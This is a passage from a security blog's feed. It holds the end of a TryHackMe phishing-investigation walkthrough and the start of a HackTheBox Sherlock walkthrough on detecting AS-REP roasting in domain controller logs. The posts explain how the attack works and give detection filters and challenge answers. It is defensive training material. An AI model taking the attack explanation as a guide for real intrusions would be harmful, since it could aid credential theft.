src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/287c1c76b710adf89279ff7e2573597a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-return-to-the-phishing-url-and-locate-theflagtxtfile&#34;&gt;Question 11: Return to the phishing URL and locate the &lt;code&gt;flag.txt&lt;/code&gt; file.&#xA;&lt;/h3&gt;&lt;h4 id=&#34;usingcyberchef-opens-in-new-tabto-decode-the-flag-what-is-the-secretvalue&#34;&gt;Using &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/#recipe=From_Base64%28%27A-Za-z0-9%2B/%3D%27,true,false%29Reverse%28%27Character%27%29&amp;amp;ieol=CRLF&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;CyberChef (opens in new tab)&lt;/a&gt; to decode the flag, what is the secret value?&#xA;&lt;/h4&gt;&lt;p&gt;Finally, we’ve made it to the grand finale, which has us searching the phishing site for &lt;code&gt;flag.txt&lt;/code&gt;. Since we don’t have enumeration tools like &lt;em&gt;DirBuster&lt;/em&gt; or &lt;em&gt;OWASP ZAP&lt;/em&gt; available in the VM, we’ll take a manual approach to hunt for the flag.&lt;/p&gt;&#xA;&lt;p&gt;A logical starting point is to  revisit the directories we already know exist, such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/data/Update365&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/data/Update365/office365&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;From there, we can try appending &lt;code&gt;flag.txt&lt;/code&gt; to these paths.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a72bd41afefbf4362c4a93a4d893e584_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;666px&#34; data-flex-grow=&#34;277&#34; height=&#34;288&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/a72bd41afefbf4362c4a93a4d893e584_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;Firefox: Locating the flag.txt file through manual enumeration&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, that worked! We’ve found the flag. One last hurdle remains: the contents of the file appear to be obfuscated&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;No problem. We just need to do some light decoding using &lt;strong&gt;CyberChef&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Copy the contents of &lt;code&gt;flag.txt&lt;/code&gt; into a new input window in &lt;em&gt;CyberChef&lt;/em&gt; and apply the &lt;em&gt;From Base64&lt;/em&gt; operation. This gets us closer, but the output still isn’t readable. Next, add the &lt;em&gt;Reverse&lt;/em&gt; operation to reveal the final flag.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5c24f8bf9cceb8428ff4eacd6e43721c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;246px&#34; data-flex-grow=&#34;102&#34; height=&#34;780&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/5c24f8bf9cceb8428ff4eacd6e43721c_MD5.png&#34; width=&#34;800&#34;&gt;&#xA;&lt;em&gt;CyberChef: Decoding the obfuscated flag&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Nice job! Now let&amp;rsquo;s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;13a5e547e5f5b0df36c8506a0978dd37_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/13a5e547e5f5b0df36c8506a0978dd37_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;0d7987d4708d67157a7519515afcdb49_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;418px&#34; data-flex-grow=&#34;174&#34; height=&#34;459&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/0d7987d4708d67157a7519515afcdb49_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This investigation gave us a practical look at how phishing campaigns operate and can be triaged, from the initial email lure all the way through credential harvesting and exposed attacker infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we reviewed email headers, analyzed malicious attachments, identified attacker-controlled infrastructure, and even dug into a phishing kit to uncover how credentials were being collected. Each step built on the last, which made the investigation feel both structured and realistic. What I liked most about this challenge is how closely it mirrors real-world workflows and gives a small peek behind the curtains of the kit.&lt;/p&gt;&#xA;&lt;p&gt;One of the biggest takeaways for me is how effective &lt;strong&gt;CyberChef&lt;/strong&gt; can be during investigations. Even for relatively simple tasks like extracting URLs, parsing email addresses, or decoding content, &lt;em&gt;CyberChef&lt;/em&gt; significantly speeds up analysis. Instead of manually picking through data, we’re able to quickly isolate what matters and move on to the next lead. Small efficiency gains like that add up quickly, especially in larger investigations.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for working through this investigation with me. Hopefully this walkthrough helps you get past a stumbling block or gives you a few ideas you can apply in your own analysis.&lt;/p&gt;&#xA;&lt;p&gt;Remember, cybersecurity is a team sport, and we’re in this together! Until next week’s challenge — stay curious and be safe out there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-snapped-phish-ing-line-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/snappedphishingline&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/snappedphishingline&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Campfire-2 Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/</link>
            <pubDate>Sun, 24 May 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/c0821df671c5de03e97c6d0bb79cad3f_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Campfire-2 Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hackthebox-campfire-2-sherlock-walkthrough&#34;&gt;HackTheBox: Campfire-2 Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;detecting-as-rep-roasting-activity-correlating-kerberos-events-and-authentication-logs-with-event-logexplorer&#34;&gt;Detecting AS-REP Roasting Activity: Correlating Kerberos Events and Authentication Logs with Event Log Explorer&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;c0821df671c5de03e97c6d0bb79cad3f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/c0821df671c5de03e97c6d0bb79cad3f_MD5.png&#34; width=&#34;240&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Campfire-2?tab=play_sherlock&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Campfire-2 Sherlock&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This is the second challenge in the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/tracks/61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detecting Active Directory Attacks&lt;/em&gt;&lt;/a&gt; track and it wastes no time dropping us into a classic blue team scenario. If you’re a completionist, or just want to follow along in order, check out my walkthrough of &lt;strong&gt;Campfire-1&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/hackthebox-campfire-1-sherlock-walkthrough/&#34; &gt;&lt;strong&gt;HackTheBox: Campfire-1 Sherlock Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hot off the heels of a Kerberoasting event, we’re jumping back in the saddle. This time, we’re given a single forensic artifact: a domain controller security log. With just this one event log, it’s on us to figure out what’s going on, identify the user account tied to a suspicious request, and determine what actually happened in Forela’s network.&lt;/p&gt;&#xA;&lt;p&gt;Along the way, we’ll lean on our trusty event log tool, &lt;strong&gt;Event Log Explorer&lt;/strong&gt;, to filter the data and apply a &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; detection strategy to dial in our results and add some helpful context. This one is a bit more focused, but it’s a classic foundational scenario that shows how far you can get with just domain controller telemetry.&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me. Let’s go!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Forela’s Network is constantly under attack. The security system raised an alert about an old admin account requesting a ticket from KDC on a domain controller. Inventory shows that this user account is not used as of now so you are tasked to take a look at this. This may be an AsREP roasting attack as anyone can request any user’s ticket which has preauthentication disabled.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;HtB&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;as-rep-primer&#34;&gt;AS-REP Primer:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let’s lay some groundwork and do a quick recap of what an &lt;strong&gt;AS‑REP attack&lt;/strong&gt; is in the context of a domain controller. This will help us contextualize the investigation as we move through it.&lt;/p&gt;&#xA;&lt;p&gt;In an Active Directory environment, modern authentication is handled using &lt;strong&gt;Kerberos&lt;/strong&gt;. We don’t need to go terribly in‑depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using &lt;em&gt;Kerberos&lt;/em&gt;. Microsoft has clear visuals in its &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Learn&lt;/strong&gt;&lt;/a&gt; documentation that walk through this exchange:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;AS‑REQ&lt;/em&gt; and &lt;em&gt;AS‑REP&lt;/em&gt; are the first steps in the Kerberos authentication process. AS‑REP roasting becomes possible when an account has &lt;strong&gt;Kerberos pre‑authentication disabled&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With pre‑authentication enabled, the user’s &lt;em&gt;AS‑REQ&lt;/em&gt; includes a timestamp encrypted with their password hash. The domain controller must successfully decrypt that timestamp before it will issue an &lt;code&gt;AS-REP&lt;/code&gt; containing a Ticket Granting Ticket (&lt;code&gt;TGT&lt;/code&gt;). This step helps prove the requester actually knows the user’s secret.&lt;/p&gt;&#xA;&lt;p&gt;When an account doesn’t require this pre-authentication, attackers can just send an &lt;em&gt;AS-REQ,&lt;/em&gt; snag the &lt;em&gt;AS‑REP,&lt;/em&gt; and then brute‑force the encrypted data offline to recover the password. This is what’s called an &lt;strong&gt;AS-REP Roasting attack&lt;/strong&gt;, which &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; classifies under &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: AS-REP Roasting&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(T1558.004).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; describes it like this:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/002&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Password Cracking&lt;/a&gt; Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Not good! But understanding this flow is exactly what we need as we move into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;MITRE&lt;/em&gt; also provides helpful detection guidance. It recommends monitoring for patterns such as:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (&lt;strong&gt;Event ID 4768&lt;/strong&gt; with &lt;strong&gt;Pre-Auth Type 0&lt;/strong&gt;). Correlates these requests with subsequent service ticket activity (&lt;strong&gt;Event ID 4769&lt;/strong&gt;) and anomalies such as requests using weak RC4 encryption &lt;strong&gt;(etype 0x17&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, by combining these telemetry points and applying them to our investigation, we can start to spot activity that &lt;em&gt;looks like&lt;/em&gt; AS‑REP roasting and begin to scope what’s really happening. Let’s give it a shot!&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-when-did-the-asrep-roasting-attack-occur-and-when-did-the-attacker-request-the-kerberos-ticket-for-the-vulnerable-user&#34;&gt;Question 1: When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off this investigation. After extracting &lt;code&gt;campfire-2.zip&lt;/code&gt;, we’re left with a single artifact: &lt;code&gt;Security.evtx&lt;/code&gt; from Forela’s domain controller.&lt;/p&gt;&#xA;&lt;p&gt;While we could analyze this log using the built‑in Windows Event Viewer, for this walkthrough I’m once again using &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third‑party utility that significantly speeds up filtering and navigation during event log analysis. It’s already installed in my lab environment, and for investigations like this, it’s hard to beat.&lt;/p&gt;&#xA;&lt;p&gt;Once &lt;em&gt;Event Log Explorer&lt;/em&gt; is open, load the Domain Controller &lt;code&gt;security.evtx&lt;/code&gt;. From here, we can apply the &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; detection guidance we discussed in the &lt;em&gt;AS-REP Roasting&lt;/em&gt; primer and put it directly into practice.&lt;/p&gt;&#xA;&lt;p&gt;To do that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;Filter&lt;/em&gt; button in the toolbar&lt;/li&gt;&#xA;&lt;li&gt;Add Event ID &lt;code&gt;4768&lt;/code&gt; (&lt;em&gt;A Kerberos authentication ticket (TGT) was requested&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Description Params&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locate &lt;em&gt;Additional Information\Ticket Encryption Type&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the operator to &lt;em&gt;Equal&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the value &lt;code&gt;0x17&lt;/code&gt; (RC4 encryption)&lt;/li&gt;&#xA;&lt;li&gt;Locate &lt;em&gt;Additional Information\Pre-Authentication Type&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the operator to &lt;em&gt;Equal&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the value &lt;code&gt;0&lt;/code&gt; (pre-authentication disabled)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;062c5ac56fe3738e369de4aa1d02f31d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;498px&#34; data-flex-grow=&#34;207&#34; height=&#34;385&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/062c5ac56fe3738e369de4aa1d02f31d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Applying the MITRE ATT&amp;amp;CK detection filters to our log&lt;/p&gt;&#xA;&lt;p&gt;After applying this filter, we’re left with exactly one matching event. That’s a strong signal and, conveniently, it’s all we need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There’s one final detail to pay attention to. The question expects the answer in &lt;strong&gt;UTC&lt;/strong&gt; time. Event Viewer and many third‑party tools often display timestamps in local time by default, which can easily trip you up if you’re not careful.&lt;/p&gt;&#xA;&lt;p&gt;To get the authoritative timestamp, double‑click the event, open the &lt;em&gt;XML&lt;/em&gt; tab, and look for the &lt;code&gt;&amp;lt;SystemTime&amp;gt;&lt;/code&gt; field. This value is recorded in UTC and removes any ambiguity around time zone conversion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;32a4e7e1f8523121be64cf45536e03e4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;431px&#34; data-flex-grow=&#34;179&#34; height=&#34;445&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/32a4e7e1f8523121be64cf45536e03e4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Drilling into event properties to find the UTC &lt;code&gt;SystemTime&lt;/code&gt; value&lt;/p&gt;&#xA;&lt;p&gt;At this point, we’ve isolated the Kerberos authentication request that matches the conditions for a potentially AS‑REP roastable account and identified the precise UTC timestamp associated with it. With that in hand, we can confidently answer &lt;strong&gt;Question 1&lt;/strong&gt; and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;de68e93707ac66abb38dff9555ea75cd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/de68e93707ac66abb38dff9555ea75cd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-2-34&#34;&gt;Questions 2, 3, 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;please-confirm-the-user-account-that-was-targeted-by-the-attacker&#34;&gt;Please confirm the User Account that was targeted by the attacker.&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-was-the-sid-of-theaccount&#34;&gt;What was the SID of the account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;it-is-crucial-to-identify-the-compromised-user-account-and-the-workstation-responsible-for-this-attack-please-list-the-internal-ip-address-of-the-compromised-asset-to-assist-our-threat-hunting-team&#34;&gt;It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team.&#xA;&lt;/h4&gt;&lt;p&gt;Now that we’ve identified the TGT request that exposes the right conditions for a potential AS‑REP roasting attack, we have a ton of useful forensic detail to work with. This is where &lt;em&gt;Kerberos&lt;/em&gt; logging really starts to pay off.&lt;/p&gt;&#xA;&lt;p&gt;Looking back at our work in &lt;strong&gt;Question 1&lt;/strong&gt;, we already isolated the relevant &lt;code&gt;Event ID 4768&lt;/code&gt;. From here, it’s just a matter of pulling the right fields from the event record.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;75e1ab38750d13ac399ed361a1b41354_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;202&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/75e1ab38750d13ac399ed361a1b41354_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Analyzing the event details&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we can look at the &lt;em&gt;Account Name&lt;/em&gt; field, which identifies the user account targeted in the request: &lt;code&gt;arthur.kyle&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 3&lt;/strong&gt;, we’re asked to provide the Security Identifier, or SID, of that account. In &lt;strong&gt;Active Directory&lt;/strong&gt;, the SID is the unique value used to identify a security principal. In this event, that value is captured in the &lt;em&gt;User ID&lt;/em&gt; field, which gives us the SID associated with &lt;code&gt;arthur.kyle&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Finally, for &lt;strong&gt;Question 4&lt;/strong&gt;, we pivot to the &lt;em&gt;Network Information&lt;/em&gt; section of the event. The &lt;em&gt;Client Address&lt;/em&gt; field provides the source of the request. In this case, we’re interested in the IPv4 address, which represents the workstation that initiated the Kerberos authentication request. This gives us a valuable pivot point to continue the investigation and start scoping the potentially compromised system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7007c856c97be79a9eff5ecf88d8ceb9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1288px&#34; data-flex-grow=&#34;536&#34; height=&#34;149&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-campfire-2-sherlock-walkthrough/7007c856c97be79a9eff5ecf88d8ceb9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4e9d54ab93b89c923459910ea9c5dfee_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 